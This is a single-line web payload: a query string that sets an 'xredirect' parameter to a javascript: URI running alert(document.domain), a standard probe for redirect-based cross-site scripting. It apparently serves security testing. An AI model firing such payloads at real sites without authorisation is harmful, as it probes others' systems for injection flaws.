?xredirect=javascript:alert(document.domain)